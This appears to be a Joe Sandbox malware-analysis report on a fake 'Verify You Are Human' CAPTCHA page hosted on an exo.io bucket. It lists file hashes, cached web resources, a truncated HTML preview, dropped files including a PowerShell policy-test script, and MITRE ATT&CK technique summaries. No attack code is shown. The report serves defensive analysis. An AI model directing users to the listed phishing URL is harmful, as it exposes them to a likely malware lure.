Preview:	L..................F.@.. ...$+.,.......B~P......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.b....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.b....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.b...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.b...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........sAJp.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.0026220675292175
Encrypted:	false
SSDEEP:
MD5:	A4302731DA92C735360FACC023D4878F
SHA1:	ADCAD45C0313B7DCBB798E7F54B6A1A4F3851B35
SHA-256:	45D87E6B37BDFD85BB9B5F28BDF10F324E15B7AE787EB6EA962D9EDDF46D9191
SHA-512:	8E1A59047731C86ED0877929D6CF58B9710242A1C3AEDF7A2342BC4DC56B79C8857760189B688137CDC60228FF6B9928A19D8AA9CB70D20A101D113C8B724046
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....mB~P......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.b....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.b....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.b...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.b...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........sAJp.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	169
Entropy (8bit):	4.933248824592941
Encrypted:	false
SSDEEP:
MD5:	3D6AA58C4F15BF83C29ACA18AAD95AB2
SHA1:	74540612914CDA9957CD2ECF9C6DB82E01F4CA70
SHA-256:	2686FB6EDE2A99746AA46E78B6704F20389EF6CE285819365F3D150A3252C140
SHA-512:	DD67B30E6B8A361F21F6D6476CF8E721BC390A16C4EA3156430E809238C68C40E5D8FCC267612807F914D7873155AE5C591E333D54C2AC9304EB48AAAE955AC3
Malicious:	false
Reputation:	unknown
URL:	https://sos-at-vie-1.exo.io/favicon.ico
Preview:	<?xml version="1.0" encoding="UTF-8"?><Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist.</Message><BucketName>favicon.ico</BucketName></Error>

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65311)
Category:	downloaded
Size (bytes):	83981
Entropy (8bit):	4.7735566283508355
Encrypted:	false
SSDEEP:
MD5:	3D5EF2BF867C4054A2F336CDBAD9E1DC
SHA1:	07228D1FA3245EE156A27A353F45758A3207849F
SHA-256:	A361E7885C36BACB3FD9CB068DA207C3B9329962CAC022D06E28923939F575E8
SHA-512:	168DEB96B663FE4EEE8D39C78380864760FB912B34BF82CB6A7C36AA4B18B91944CCEFAD71A10F428810D0A6A818DDBAFF3AE7DB42264750DFB8B5A73A8EDA04
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
Preview:	/!. Font Awesome Free 6.0.0-beta3 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). * Copyright 2021 Fonticons, Inc.. */..fa{font-family:var(--fa-style-family,"Font Awesome 6 Free");font-weight:var(--fa-style,900)}.fa,.fa-brands,.fa-duotone,.fa-light,.fa-regular,.fa-solid,.fa-thin,.fab,.fad,.fal,.far,.fas,.fat{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-2xs{font-size:.625em;line-height:.1em;vertical-align:.225em}.fa-xs{font-size:.75em;line-height:.08333em;vertical-align:.125em}.fa-sm{font-size:.875em;line-height:.07143em;vertical-align:.0

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	4735
Entropy (8bit):	4.482556529468337
Encrypted:	false
SSDEEP:
MD5:	E007956E705AE57E1C2C87D0EEEE34CF
SHA1:	F943EE7D5A31C55E930237E481F7798BF1B911D9
SHA-256:	36A356FB4362664E39492A9839E7D6D0A216744D6B9C1A890B9E9A532C0F4A33
SHA-512:	25EBF8CD5E59FBC44EF6860D38DF808EBF31BEEDF3AF25E6C9FBA1170838CD65CA77915BB52CCEFB927715C3CBED32A48335402E7CFA52FE643414D2F67604F1
Malicious:	false
Reputation:	unknown
URL:	https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html
Preview:	.<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Verify You Are Human</title>.. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">.. <style>.. body, html {.. margin: 0;.. padding: 0;.. width: 100%;.. height: 100%;.. display: flex;.. justify-content: center;.. align-items: center;.. font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;.. background: #f2f2f2;.. color: #333;.. }.. .container {.. text-align: center;.. max-width: 500px;.. margin: 20px;.. position: relative;.. }.. .recaptcha-box {.. padding: 20px;.. background: #fff;.. box-shadow: 0 5px 20px rgba(0, 0, 0, 0.3);..

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 105204, version 768.67
Category:	downloaded
Size (bytes):	105204
Entropy (8bit):	7.989899350029445
Encrypted:	false
SSDEEP:
MD5:	EE91E640B5449FB98D9320C877A9866E
SHA1:	7FDC6B3926B1DD023F9F2AD7D53BC22694694281
SHA-256:	33A252D6393CBD6DEBE0AC517229C7AA258A0EE68FC0253F8BE6A7CEE8B65EE9
SHA-512:	B787D1E727C77E85DE52FDEDEA16A719BE00CFABF739F44451A2A35DB443900E8B3178DB1DDD5EAE9018850888B94994343E9B1E15873CD0211DAE83C405BD3D
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/webfonts/fa-brands-400.woff2
Preview:	wOF2...............h.......C.....................8.$. .`..D..8..`.H..H. ..VQf......Z?.....=..j..o......._......; ..o.....9..........'P.....U.....P.[.+7.\4....Y.B.d....[.h.!.....Z...2.....]5..]]]3..f.......E......9`.2.A'N.X..v....N....C#.yZ.Z............4.....I.Y...;..(q@..8H..m~v.KN....{.F..:..%..u...)U!JP...$v......(.n./.S:.(T..Mh.(.t../...N+.\|..o.......9Zr!P.........T\...c!#.\|\|*.....O4G(.........p.{?..#...Y..2".`DV.....U..jNT.3[.9}.$g.(.....H.Y5"......GD.#.`.Er.......(..Z.>...D...%.].[.......p..!..qU.&'Q .$.j2......B..........^.`4..L.[....R......Q.+.[.q..%...........A..$..N.A.aK.d.'. ..7~..t.a.oj...8....u._h%.+.%.K...GC....R.\|..u.W.......L..{W.....d.u:..L.Q...<.YBt....X.s.z"#....R$Tg.9......@A.;.?.w}.u.z...".'..w..i....w..&...i...3....,.n.hC<..8.3(...L..4....3....'x.M.J}...v.......S.4._[......>a.@I.8i[.S....A...%..Y2.ezM...M..%>.af.P.?...8..G...x:.......Hi.:..S.\.g....6.IY...i..aN~..F...c....al;1.R.3.._.l#...3..s?M.5..\|...4h

Static File Info

⊘No static file info

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Dropped Files

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GO30WR0E\singl5[1].mp4

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dt1gtpij.2sq.ps1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Static File Info

Windows Analysis Report
https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html